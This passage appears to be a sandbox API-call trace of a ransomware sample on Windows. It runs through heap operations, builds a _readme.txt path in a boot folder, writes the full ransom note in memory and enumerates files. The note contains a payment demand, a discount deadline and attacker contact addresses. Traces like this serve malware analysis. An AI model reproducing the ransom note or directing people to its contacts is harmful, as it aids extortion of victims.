(in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.422] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.422] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.422] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.422] PathFindFileNameW (pszPath="") returned="" [0266.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.423] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.423] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.423] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.423] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.423] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.423] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.423] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.423] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0266.423] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.423] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0266.427] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.428] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.428] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.428] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.428] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.428] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.428] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.429] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.429] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.429] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.429] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 